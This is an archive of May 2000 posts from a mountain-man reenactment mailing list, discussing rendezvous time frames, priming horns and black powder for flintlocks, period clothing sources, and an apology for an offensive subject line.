  From: Wynn & Gretchen Ormond=20
  To: [e-mail]=20
  Sent: Thursday, May 11, 2000 6:35 AM
  Subject: MtMan-List: Picking a time frame


  Walt wrote:

  Gourds would not have been present in the initial
  years 1807-1825.  The Pony Trader period may be a different matter as
  pointed out to me by Bill Cunningham and his friends.  The intercourse =
grew
  stronger between the north and south rockies over the years.


  Would Bill or someone else please tell me more about the changes that =
passage of time caused in the mountains.  For instance, 1825-1828 period =
saw a lot of action in a relatively virgin area that I now live in.  =
What would have been different for those boys in comparision to the 37 =
crowd.
  =20
  Hungry for knowledge
  WY


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<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Good morning Wynn,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I am going to respond this morning to =
the both=20
questions this morning.  My friends in Wyoming and Colorado may be=20
interested in this thread.  You are certainly right about central =
Wyoming=20
being the high ball for the pony traders from 1825-1828.  Those =
first 3=20
years of the pony trader rendenzvous made their mark.  I like being =

responsible for what I have to say.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Walt</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Park City, Montana</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: =
0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A href=3D"mailto:[e-mail]" =
title=[e-mail]>Wynn &=20
  Gretchen Ormond</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  href=3D"mailto:[e-mail]"=20
  title=[e-mail]>[e-mail]</A> =
</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Thursday, May 11, 2000 =
6:35=20
AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> MtMan-List: Picking a =
time=20
  frame</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DArial size=3D2>Walt wrote:</FONT></DIV>
  <DIV> </DIV>
  <DIV><FONT face=3DArial size=3D2>Gourds would not have been present in =
the=20
  initial<BR>years 1807-1825.  The Pony Trader period may be a =
different=20
  matter as<BR>pointed out to me by Bill Cunningham and his =
friends.  The=20
  intercourse grew<BR>stronger between the north and south rockies over =
the=20
  years.</FONT></DIV>
  <DIV> </DIV>
  <DIV> </DIV>
  <DIV><FONT face=3DArial size=3D2>Would Bill or someone else please =
tell me more=20
  about the changes that passage of time caused in the =
mountains.  For=20
  instance, 1825-1828 period saw a lot of action in a relatively virgin =
area=20
  that I now live in.  What would have been different for =
those boys=20
  in comparision to the 37 crowd.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT> </DIV>
  <DIV><FONT face=3DArial size=3D2>Hungry for knowledge</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>WY</FONT></DIV>
  <DIV> </DIV></BLOCKQUOTE></BODY></HTML>

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From: "Larry Huber" <[e-mail]>
Subject: Re: MtMan-List: Prining horn or not
Date: 12 May 2000 08:24:20 -0700

Groan!  I do so hate change(don't we all?) but mebbe I'll give it a try.
See you all at the Nationals.
Larry Huber.

----- Original Message -----
Sent: Thursday, May 11, 2000 7:03 PM


Larry,
You should try 3f in the trade gun.  I use about 70 grains of 3f under a
ball or shot and prime from the same horn.  Works good.  Of course, a larger
charge can be used, but this works fine in my .62 for target work.
Lanney Ratcliff

----- Original Message -----
Sent: Thursday, May 11, 2000 8:53 PM


> Hey, Randy,
>     I never tried this but it makes sense.  I know that all military
muskets
> were primed from the same powder as the main charge.  I suspect that the
> touch holes were a bit larger, however.  I might give the single powder a
> test on my .54 but I think I'll carry a 4F primer with my trade gun.  I
burn
> 2F in that 20 gauge gun.
>
>     Larry Huber
>     #1517
> ----- Original Message -----
> From: Randal J Bublitz <[e-mail]>
> To: <[e-mail]>
> Sent: Thursday, May 11, 2000 5:23 PM
> Subject: Re: MtMan-List: Prining horn or not
>
>
> > Hi Verlin,   I tend to carry 3f powder in a single horn, loading and
> > priming with the same stuff.  It is my understanding that existing
> > historical priming horns are rare.  The reason I don't use a priming
horn
> > though, is for ease of use.  I have used 4f for priming, and not...I
> > can't tell any real difference in my shooting, it's always mediocre <g>.
> >  My best advice for shooting a flinter is this;  find someone who shoots
> > one well, and go shooting with them....ask for-and follow there advice.
> > I did this and my flinter abilities increased noticeably.    hardtack
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
> ----------------------
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From: "Larry Huber" <[e-mail]>
Subject: Re: MtMan-List: Prining horn or not
Date: 12 May 2000 08:31:28 -0700

Yeah.  My gun has a liner and that hole looks right small.  Never had it
misfire in the rain though.  I've seen folks shoot speed comptition by
loading and priming by giving the breech a good whack.  Impressive.  A good
trick, but I'm unlikely to need to do that.  Still, I like the whole idea of
carrying ONE type of powder and ONE type of caliber.  Right now my rifle,
smooth bore and pistol all have different calibers! (Look.  I said I was
serious about this stuff...not bright.)
Larry Huber
----- Original Message -----
Sent: Thursday, May 11, 2000 8:14 PM


> Larry,
> I use 2f in my smooth bore for priming and in the main charge. Alot
> depends on the size of the touch hole. You can on my gun, turn it on
> it's side and knock it with your hand opposite on the touch hole and
powder
> will fall out of the pan. Try the 2f and see if your gun likes it. Madison
> Grant's book on hunting pouches does show a few orignals that had
> a small powder horn (for priming) but most seem to have only one horn
> for both uses. does your gun have a liner around the touch hole?
>
> mike.
>
> larry pendleton wrote:
>
> > Lanney,
> >   I'll try that in the future.  I got a deal on a bunch of 2f.  I try to
use
> > what I have.  I prime with what ever I have in the main horn.  Works for
me.
> > Of course I can't hit anything anyway.
> > Pendleton
> > -----Original Message-----
> > From: Ratcliff <[e-mail]>
> > To: [e-mail] <[e-mail]>
> > Date: Thursday, May 11, 2000 7:03 PM
> > Subject: Re: MtMan-List: Prining horn or not
> >
> > Larry,
> > You should try 3f in the trade gun.  I use about 70 grains of 3f under a
> > ball or shot and prime from the same horn.  Works good.  Of course, a
larger
> > charge can be used, but this works fine in my .62 for target work.
> > Lanney Ratcliff
> >
> > ----- Original Message -----
> > From: Larry Huber <[e-mail]>
> > To: <[e-mail]>
> > Sent: Thursday, May 11, 2000 8:53 PM
> > Subject: Re: MtMan-List: Prining horn or not
> >
> > > Hey, Randy,
> > >     I never tried this but it makes sense.  I know that all military
> > muskets
> > > were primed from the same powder as the main charge.  I suspect that
the
> > > touch holes were a bit larger, however.  I might give the single
powder a
> > > test on my .54 but I think I'll carry a 4F primer with my trade gun.
I
> > burn
> > > 2F in that 20 gauge gun.
> > >
> > >     Larry Huber
> > >     #1517
> > > ----- Original Message -----
> > > From: Randal J Bublitz <[e-mail]>
> > > To: <[e-mail]>
> > > Sent: Thursday, May 11, 2000 5:23 PM
> > > Subject: Re: MtMan-List: Prining horn or not
> > >
> > >
> > > > Hi Verlin,   I tend to carry 3f powder in a single horn, loading and
> > > > priming with the same stuff.  It is my understanding that existing
> > > > historical priming horns are rare.  The reason I don't use a priming
> > horn
> > > > though, is for ease of use.  I have used 4f for priming, and not...I
> > > > can't tell any real difference in my shooting, it's always mediocre
<g>.
> > > >  My best advice for shooting a flinter is this;  find someone who
shoots
> > > > one well, and go shooting with them....ask for-and follow there
advice.
> > > > I did this and my flinter abilities increased noticeably.
hardtack
> > > >
> > > > ----------------------
> > > > hist_text list info:
http://www.xmission.com/~drudy/mtman/maillist.html
> > > >
> > >
> > > ----------------------
> > > hist_text list info:
http://www.xmission.com/~drudy/mtman/maillist.html
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

----------------------
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From: "Larry Huber" <[e-mail]>
Subject: Re: MtMan-List: priming horn
Date: 12 May 2000 08:37:54 -0700

I can't believe you admitted to using a little brass thingy to prime with!
You got balls, Man!
Larry Huber
----- Original Message -----
Sent: Friday, May 12, 2000 6:35 AM


>     When I started this ml business with a flinter I started using a
primer
> horn and 4f because I was told that was the correct thing to do and
everyone
> else I observed did the same.
>     At times I have tried priming from my big horn with no apparent
> difference in results.  Using my smooth bore, a Brown Bess, I only prime
> from big horn.
>     However on my rifles I still use a priming horn and [this is going to
> get screams] one of those brass spring loaded devices.  The reason is that
I
> find it difficult to prime just a tiny bit into the pan with the main horn
> and often spill. That is not only sloppy but potentially dangerous. Also,
I
> must admit, I use the small primer out of habit and I like it.  May not
make
> all that much difference in shooting but it is what I have gotten used to.
>     There are reference books that show priming horns from 'back then', so
> they are correct. I plead mea culpa to my little brass thingy.
> Frank "Bearclaw" Fusco, Mountain Home, Arkansas
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

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From: [e-mail]
Subject: Re: MtMan-List: How to make friends and influence people.
Date: 12 May 2000 11:00:38 -0700

well said CPT L---now lets all go back to normal---You are a exceptional
good in expressing the writen word far better than i could have.  and you
as usuall did your homework and put a lot of thought into your
response---

HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

________________________________________________________________
YOU'RE PAYING TOO MUCH FOR THE INTERNET!
Juno now offers FREE Internet Access!
Try it today - there's no risk!  For your FREE software, visit:
http://dl.www.juno.com/get/tagj.

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-------------------------------------------------------------------------------

From: [e-mail]
Subject: Re: MtMan-List: How to make friends and influence people.
Date: 12 May 2000 12:22:01 EDT


In a message dated 5/12/00 1:29:08 AM, [e-mail] writes:

<< You folks have the room for all these people and more,each one of you is
no
more or no less than the other and you are all very lucky.
YMOS
Cutfinger >>

It's good that you point it out, Cutfinger......

Ymos,
Steve

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From: "Larry Huber" <[e-mail]>
Subject: Re: MtMan-List: New to list
Date: 12 May 2000 09:30:21 -0700

Hi, Helen, welcome to the list and to the life.
    In order to give you good advice, I'd need more information.  Are you
talking about leather or cloth?  European/American or Native Indian?
Contrary to common belief, most folks started West wearing cloth (not
leather)and bought cloth whenever they got back to civilization.  Indians
living near posts or forts wore cloth for comfort, style and status.
Leather and buffalo robes were traditionally attainable in the wild but
cotton, linen and wool just felt better.  So, are YOU dressing as an Indian
woman or a settler/habitant?  If there's no native blood in you or your
coloring doesn't reflect that culture, you would probably look better as a
"white" woman ("White" meaning civilization.  Spanish and African blood
lines also wore "civilized" clothing).
Rendezvous are FILLED with white Indian captives!  For easy to digest and
understand research try the Book of Buckskinning series.  Some of the best
period dress tailors have articles in those works.
    My wife and I were born and bred in Minnesota so our personal link with
history was French voyagers.  This is an all cloth culture.  Voyagers(guys
who paddled the canoes and carried the goods) dressed in linen, wool and
cotton.  They were in and out of water all day long and cloth dries faster
than leather.  Fort William and Grand Portage dress their reenactors in
cotton shirts and corduroy trousers, narrow fall.  All Indian personnel are
generally dressed in cloth which pretty much sums up all the historic forts
I've visited.  For French dress I recommend: Historic Colonial French Dress
by the ladies Johnson, Forbes and Delaney.  Good research but crude drawings
and illustrations.  The clothing patterns are usable for an experienced
seamstress, however. For English and German dress (which is similar) try
Tidings from the 18th Century by Beth Gilgun.  18th Century sound too early
for you?  The clothing styles overlapped the centuries and rarely changed
among working folk.  Even so, get Rural Pennsylvania Clothing by Ellen J.
Gehret for conformation of this statement.  This is a scholarly work and the
"bible" for clothing recreators doing living history.
    Insist upon going "Injun"?  I'm less of a help there.  However, If your
interested in Eastern tribes and the influences white settlers had on their
material culture and dress try: Indian Clothing of the Great Lakes:
1740-1840 by Sheryl Hartman.  Sincere drawings and usable patterns but great
information.
    But what about LEATHER?!  Okay, okay.  Moccasins were leather.  I refer
to the Craft Manual of North American Indian Footware by George M. White.
Again, Mr. White is a better historian than artist but this little booklet
contains about every known pattern of Indian footgear,  Invaluable.  I have
made several pairs of moccasins for myself and friends out of this book.
    What about your man?  All the works I've quoted contain patterns for him
as well as you.  The Sketchbook series (Mountain Man, Voyager, Longhunter
etc.)contain good information and usable patterns and I've made items of
clothing out of them.  The Cut of Men's Clothes, 1600-1900  by Norah Waugh
(Great name!)is a good history and usable for tailoring techniques but was
not a very useful book for me.  The Latest Sketchbook out there is The 1837
Sketchbook of the Western Fur Trade by Allen Norman which documents the
clothing of the American Fur Company employee from drawings by Alfred J.
Miller.  This work inspired me to acquire my first set of leather trousers.
    I'm out of words.  Short of introducing you to my wife who has largely
made all the cloth articles of clothing for our family over the years(she
refuses to touch leather!) that's the best I can do from California.  A
great adventure lies ahead for you, Helen.  Welcome to our little piece of
history.

"Shoots-the-Prairie" Larry Huber
#1517
----- Original Message -----
Sent: Thursday, May 11, 2000 6:52 PM


> Hi,
> I'm new to the list and am interested in sewing clothing for my husband
and
> I for mountain man impression. I'd like to chat with other folks on the
list
> who are doing the same so that I can locate patterns or instructions and
> also learn to do this "right". I live just west of Denver.
>
> Helen
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

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From: "Ole B. Jensen" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 12 May 2000 10:24:44 -0600

Paul,
Just a point of information, the term NAZI stands for political party if you
are going to slap someone with a name it should be= "Authenticity Gestapo".
Just thought I would correct you (ha ha)
YMOS
Ole
----------
>From: "Paul W. Jones" <[e-mail]>
>To: <[e-mail]>
>Subject: Re: MtMan-List: Re: Authenticity Nazis
>Date: Thu, May 11, 2000, 10:23 AM
>

>Dear List Members...
>
>For what my opinion is worth, if we can not let this dog (topic) die, at
>least give up the subject  line using the term "Nazis."  It is an extremely
>offensive term, and one to which, I at least, take particular umbrage.
>
>Additionally, while I do appreciate to a degree, the sensitivity of some of
>our list members, as expressed by the material below between Julia and
>Bobbie, I respectfully suggest that such comments are better directed off
>list as between the interested parties and not to the list at large.
>
>This list is for a dedicated purpose, and while humor and venom often seem
>to creep (creep hell, it flows like lava) in to our conversations, I would
>think it a better practice to keep the personal comments personal and off
>the list.
>
>Just my thoughts.  Regards,  Paul
>----- Original Message -----
>From: Julia <[e-mail]>
>To: <[e-mail]>
>Sent: Thursday, May 11, 2000 5:27 AM
>Subject: Re: MtMan-List: Re: Authenticity Nazis
>
>
>> My heart goes to you,  Bobbie,
>>
>> >   Thanks, Ole, for acknowledging that what was said was hurtful.  It
>seems
>> >to have escaped everyone else on this list.
>>
>> I was not lost on me,  but I have never been made welcome on this
>> list,  so I offer very little.   I have been very tempted to withdraw
>> from this list over the list over this too.
>>
>> >    Tonight I'm mourning the fact that my hometown is going up in flames.
>> >Two weeks ago, I saw my childhood home, and tonight I read the words that
>> >it is all gone.  Gone.  Now the fire is spreading into one of the poorest
>> >counties in the nation, including two Indian Pueblos.  Those people can't
>> >afford to lose anymore.  They have so little.
>>
>> Tears fill my eyes,   I want to help!  What can I do?  Let me know!
>> All of this list stuff seem so unimportant when REAL  tragedy strikes.
>> If it is raising money or goods,  I will do it.
>> Give me details,  I want to do what will help!
>>
>> Julia
>> in Oregon
>>
>>
>> ----------------------
>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>

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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: priming horn
Date: 12 May 2000 10:09:36 -0600

Somewhere around here I have an ancient shotgun set up - a long pouch that
holds shot and powder both. On the double end it has first a brass powder
measure and on the other a shot measure/scoop that is twisted and removed,
pulling forth a premeasured  load of shot. It is very old, dating from the
mid 1800's and comes from Ireland. I haven't researched priming devices, but
have seen paintings of metal powder "horns". Someone can probably both prove
and disprove the authenticity of brass powder measures.
-----Original Message-----


>I can't believe you admitted to using a little brass thingy to prime with!
>You got balls, Man!
>Larry Huber
>----- Original Message -----
>From: Frank Fusco <[e-mail]>
>To: MM <[e-mail]>
>Sent: Friday, May 12, 2000 6:35 AM
>Subject: MtMan-List: priming horn
>
>
>>     When I started this ml business with a flinter I started using a
>primer
>> horn and 4f because I was told that was the correct thing to do and
>everyone
>> else I observed did the same.
>>     At times I have tried priming from my big horn with no apparent
>> difference in results.  Using my smooth bore, a Brown Bess, I only prime
>> from big horn.
>>     However on my rifles I still use a priming horn and [this is going to
>> get screams] one of those brass spring loaded devices.  The reason is
that
>I
>> find it difficult to prime just a tiny bit into the pan with the main
horn
>> and often spill. That is not only sloppy but potentially dangerous. Also,
>I
>> must admit, I use the small primer out of habit and I like it.  May not
>make
>> all that much difference in shooting but it is what I have gotten used
to.
>>     There are reference books that show priming horns from 'back then',
so
>> they are correct. I plead mea culpa to my little brass thingy.
>> Frank "Bearclaw" Fusco, Mountain Home, Arkansas
>>
>>
>> ----------------------
>> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>>
>
>----------------------
>hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


----------------------
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-------------------------------------------------------------------------------

From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: How to make friends and influence people.
Date: 12 May 2000 09:43:45 -0700


----- Original Message -----
Sent: Thursday, May 11, 2000 1:15 AM


> You folks don't know how lucky you are in the USofA, you have a rich
> ,exciting and colorful pioneering past which is recent enough to be
> accessible thru writings, paintings, lists, artifacts,and accurate
> historical research

Cutfinger,

Oh, I know how lucky we are. It isn't infrequently that I thank my Finnish
Grandparents for giving me the opportunity to be born in America rather than
any number of places they could have gone. There are a lot of other things I
am thankful for in my life but that has to be the top's. I suspect most of
the rest of us feel the same way.

It never hurts to be reminded of it. Thanks for that. I remain.....

YMOS
Capt. Lahti'



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From: "Dennis Earp" <[e-mail]>
Subject: Re: MtMan-List: priming horn
Date: 12 May 2000 13:00:55 -0400


List,

On the subject of priming horns, has anyone ever came across primary
documentation on the use of priming horns for 1750-1830 period in
America?  I've found documentation for priming horns that were used
for cannons, but as yet have not been able to find it for rifles.  I know
there are some shown in reference books, but I don't believe they were
ever authenicated as to the time period and some claim they are actually
late 19th century "day" horns.

Dennis


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-------------------------------------------------------------------------------

From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: Gourds
Date: 12 May 2000 10:53:35 -0600


> Walt,> You stated that...........Gourds would not have been present in the
initial years 1807-1825.
> Can you tell us why?? Just curious.  Lou Sickler> Colorado Territory

Good morning Lou,

I can tell you how this statement about the Clark Bottom Rendez-vous came
about.  When I had my first opportunity to attend a rendezvous it was above
Park City and was called Freezeout"  When the Red Lodge Mountain Man
Rendezvous started up in 89 I started pitching my lodge.  I had 2 chunks of
history pretaining to historic camps in the area that were being overlooked.
I took the opportunity of discussing around the camp for years.  One year a
half a dozen southern rocky mountain man camps showed up and a whole bunch
of new information became available to me.

What I wanted to do was honor the history on the actual site.  While at the
same time I wanted to be able to illustright the whole history of the fur
trade on this location called Clark Bottom.  In 1806 Captain Clark spent 6
days in the area.  The longest camp along the Yellowstone.  John Colter, the
first American Mountain Man spent the winter of 1807 camped on the Clarks
Fork with Dixon and Handcock.  This is the beginning of the American
Mountain Man movement which is world-wide today.  The next winter he spent
near Jackson Hole, Wyoming.  Wyoming has a rich history of the pony trades
exploits.

I use 1825 as the other cut off date in the time line because the rendezvous
system employed alterered the state conditions here on the Clarks Fork of
the Yellowstone area considerably.  The pony traders system established up
the North Platte River route provided the basis for probes to the south
along the eastern front range of the rockies.  I think this mountain man
traffic south and north provided by the pony traders could have brought
gourds and other things from the south after 1825 because the basis for
exchange is there.  A bit earlier probes were launched off towards
California.

It is just my opinion and only counts for this camp beyond that camp I do
not consider myself an authority at all, just another voice.  Thanks for
asking.
Walt
Park City, Montana








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From: "Walt Foster" <[e-mail]>
Subject: Re: MtMan-List: D. Camp
Date: 12 May 2000 11:16:10 -0600

> PS, on the last line, Walt, is the Clark Bottom 'voo juried tightly? Or
does> "anything" (pre 1840)go?> Just curious...And that question is not mean
spirited in any way, but I bet> it can be construed as such, cause remember,
I am "insensitive"....> D


Hi D.,
Juried tightly.  You can count on me not to try to hurt your feelings in
anyway.  I value the question.  Clark Bottom Rendez-vous which I spell in
the French manner has been set up to incorporate a wide spectrum of the fur
trade history as a show and tell educational event.  I have 25 acres
surrounded by a 1000 more for the site of the CBR encampment.  This year I
applied for 25 camp permits.  The design plan for the over all camp layout
permits a wide variety without one camp being in sight of another if that is
desirable.  The area is complete with clearings that work well with the
concept.  This is not a comercial camp.  It is a quiet camp made for
learning exchanges with some public access.  And a whole lot of rich history
which can be visited within sight.  You might be interested in how I have
the camp arranged and how I deal with time frames.  Long answer but it is
yes.  And I can incorporate river bottom camps, horse camps, old hands and
the newest beginners with this arrangement.  At least it has been working
and growing for 3 years now.  With this being our 4th.  Our target year is
2006.
Walt
Park City, Montana


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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: How to make friends and influence people.
Date: 12 May 2000 10:46:15 -0700

Thanks Hawk. Sometimes I say too much so I will learn from that and shut up!
<G> (with one last post on the subject just coming up <G>) Now let's get
back to "Normal"?! <G> Capt. L
----- Original Message -----
Sent: Friday, May 12, 2000 11:00 AM


> well said CPT L---now lets all go back to normal---You are a exceptional
> good in expressing the writen word far better than i could have.  and you
> as usuall did your homework and put a lot of thought into your
> response---
>
> HAWK
> Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
> 854 Glenfield Dr.
> Palm Harbor florida 34684
> E-Mail: [e-mail]   Web site:
> http://www.angelfire.com/fl2/mpierce
>
> ________________________________________________________________
> YOU'RE PAYING TOO MUCH FOR THE INTERNET!
> Juno now offers FREE Internet Access!
> Try it today - there's no risk!  For your FREE software, visit:
> http://dl.www.juno.com/get/tagj.
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>



----------------------
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-------------------------------------------------------------------------------

From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: New to list
Date: 12 May 2000 10:51:12 -0700

Larry,

Now this is one fine piece of work and worth repeating! Capt. L
----- Original Message -----
Sent: Friday, May 12, 2000 9:30 AM


> Hi, Helen, welcome to the list and to the life.
>     In order to give you good advice, I'd need more information.  Are you
> talking about leather or cloth?  European/American or Native Indian?
> Contrary to common belief, most folks started West wearing cloth (not
> leather)and bought cloth whenever they got back to civilization.  Indians
> living near posts or forts wore cloth for comfort, style and status.
> Leather and buffalo robes were traditionally attainable in the wild but
> cotton, linen and wool just felt better.  So, are YOU dressing as an
Indian
> woman or a settler/habitant?  If there's no native blood in you or your
> coloring doesn't reflect that culture, you would probably look better as a
> "white" woman ("White" meaning civilization.  Spanish and African blood
> lines also wore "civilized" clothing).
> Rendezvous are FILLED with white Indian captives!  For easy to digest and
> understand research try the Book of Buckskinning series.  Some of the best
> period dress tailors have articles in those works.
>     My wife and I were born and bred in Minnesota so our personal link
with
> history was French voyagers.  This is an all cloth culture.  Voyagers(guys
> who paddled the canoes and carried the goods) dressed in linen, wool and
> cotton.  They were in and out of water all day long and cloth dries faster
> than leather.  Fort William and Grand Portage dress their reenactors in
> cotton shirts and corduroy trousers, narrow fall.  All Indian personnel
are
> generally dressed in cloth which pretty much sums up all the historic
forts
> I've visited.  For French dress I recommend: Historic Colonial French
Dress
> by the ladies Johnson, Forbes and Delaney.  Good research but crude
drawings
> and illustrations.  The clothing patterns are usable for an experienced
> seamstress, however. For English and German dress (which is similar) try
> Tidings from the 18th Century by Beth Gilgun.  18th Century sound too
early
> for you?  The clothing styles overlapped the centuries and rarely changed
> among working folk.  Even so, get Rural Pennsylvania Clothing by Ellen J.
> Gehret for conformation of this statement.  This is a scholarly work and
the
> "bible" for clothing recreators doing living history.
>     Insist upon going "Injun"?  I'm less of a help there.  However, If
your
> interested in Eastern tribes and the influences white settlers had on
their
> material culture and dress try: Indian Clothing of the Great Lakes:
> 1740-1840 by Sheryl Hartman.  Sincere drawings and usable patterns but
great
> information.
>     But what about LEATHER?!  Okay, okay.  Moccasins were leather.  I
refer
> to the Craft Manual of North American Indian Footware by George M. White.
> Again, Mr. White is a better historian than artist but this little booklet
> contains about every known pattern of Indian footgear,  Invaluable.  I
have
> made several pairs of moccasins for myself and friends out of this book.
>     What about your man?  All the works I've quoted contain patterns for
him
> as well as you.  The Sketchbook series (Mountain Man, Voyager, Longhunter
> etc.)contain good information and usable patterns and I've made items of
> clothing out of them.  The Cut of Men's Clothes, 1600-1900  by Norah Waugh
> (Great name!)is a good history and usable for tailoring techniques but was
> not a very useful book for me.  The Latest Sketchbook out there is The
1837
> Sketchbook of the Western Fur Trade by Allen Norman which documents the
> clothing of the American Fur Company employee from drawings by Alfred J.
> Miller.  This work inspired me to acquire my first set of leather
trousers.
>     I'm out of words.  Short of introducing you to my wife who has largely
> made all the cloth articles of clothing for our family over the years(she
> refuses to touch leather!) that's the best I can do from California.  A
> great adventure lies ahead for you, Helen.  Welcome to our little piece of
> history.
>
> "Shoots-the-Prairie" Larry Huber
> #1517
> ----- Original Message -----
> From: elenyte <[e-mail]>
> To: <[e-mail]>
> Sent: Thursday, May 11, 2000 6:52 PM
> Subject: MtMan-List: New to list
>
>
> > Hi,
> > I'm new to the list and am interested in sewing clothing for my husband
> and
> > I for mountain man impression. I'd like to chat with other folks on the
> list
> > who are doing the same so that I can locate patterns or instructions and
> > also learn to do this "right". I live just west of Denver.
> >
> > Helen
> >
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>



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From: "Roger Lahti" <[e-mail]>
Subject: Re: MtMan-List: Gourds
Date: 12 May 2000 10:58:34 -0700

Walt,

Great post. Thanks. Capt. L
----- Original Message -----
Sent: Friday, May 12, 2000 9:53 AM


>
> > Walt,> You stated that...........Gourds would not have been present in
the
> initial years 1807-1825.
> > Can you tell us why?? Just curious.  Lou Sickler> Colorado Territory
>
> Good morning Lou,
>
> I can tell you how this statement about the Clark Bottom Rendez-vous came
> about.  When I had my first opportunity to attend a rendezvous it was
above
> Park City and was called Freezeout"  When the Red Lodge Mountain Man
> Rendezvous started up in 89 I started pitching my lodge.  I had 2 chunks
of
> history pretaining to historic camps in the area that were being
overlooked.
> I took the opportunity of discussing around the camp for years.  One year
a
> half a dozen southern rocky mountain man camps showed up and a whole bunch
> of new information became available to me.
>
> What I wanted to do was honor the history on the actual site.  While at
the
> same time I wanted to be able to illustright the whole history of the fur
> trade on this location called Clark Bottom.  In 1806 Captain Clark spent 6
> days in the area.  The longest camp along the Yellowstone.  John Colter,
the
> first American Mountain Man spent the winter of 1807 camped on the Clarks
> Fork with Dixon and Handcock.  This is the beginning of the American
> Mountain Man movement which is world-wide today.  The next winter he spent
> near Jackson Hole, Wyoming.  Wyoming has a rich history of the pony trades
> exploits.
>
> I use 1825 as the other cut off date in the time line because the
rendezvous
> system employed alterered the state conditions here on the Clarks Fork of
> the Yellowstone area considerably.  The pony traders system established up
> the North Platte River route provided the basis for probes to the south
> along the eastern front range of the rockies.  I think this mountain man
> traffic south and north provided by the pony traders could have brought
> gourds and other things from the south after 1825 because the basis for
> exchange is there.  A bit earlier probes were launched off towards
> California.
>
> It is just my opinion and only counts for this camp beyond that camp I do
> not consider myself an authority at all, just another voice.  Thanks for
> asking.
> Walt
> Park City, Montana
>
>
>
>
>
>
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>



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From: "Roger Lahti" <[e-mail]>
Subject: MtMan-List: Appology's
Date: 12 May 2000 11:09:15 -0700

----- Original Message -----
Cc: "Roger Lahti" <[e-mail]>
Sent: Thursday, May 11, 2000 7:58 PM


> Greetings and many humble apologies to the list. I'm sorry I used the
> terms Authenticity Nazis. Bad choice of words. Really sorry.

I accept this man's words of apology for I know him to be a good man.  And
I wish that he had quit at that. <G> Sometimes the learning curve is steep.
I do not forgive the act, acts can not be taken back. Thoughtless words can
be.

Were I never to have said something I later regretted I might feel
differently but I too have said thoughtless things. There may be some who
can not accept the apology as it is meant. I do not choose to live my life
that way. Making mistakes is a part of growth and a part of being human. Let
us move  on from this. I remain.....

YMOS
Capt. Lahti'




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From: "D Miles" <[e-mail]>
Subject: MtMan-List: Bounced Mail
Date: 12 May 2000 14:26:34 -0400

This is a multi-part message in MIME format.

------=_NextPart_000_013E_01BFBC1E.13175440
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Randy Hedden,
 Been trying to answer your email.. And it has been bouncing...I ain't =
ignoring ya....
D


"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"


------=_NextPart_000_013E_01BFBC1E.13175440
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Randy Hedden,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2> Been trying to answer your =
email.. And it has=20
been bouncing...I ain't ignoring ya....</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>D</FONT></DIV>
<DIV> </DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>"Abair ach beagan is abair gu math=20
e"<BR>          DOUBLE EDGE =

FORGE<BR>  Period Knives & Iron Accoutrements<BR>   =
<A=20
href=3D"http://www.bright.net/~deforge1">http://www.bright.net/~deforge1<=
/A><BR> =20
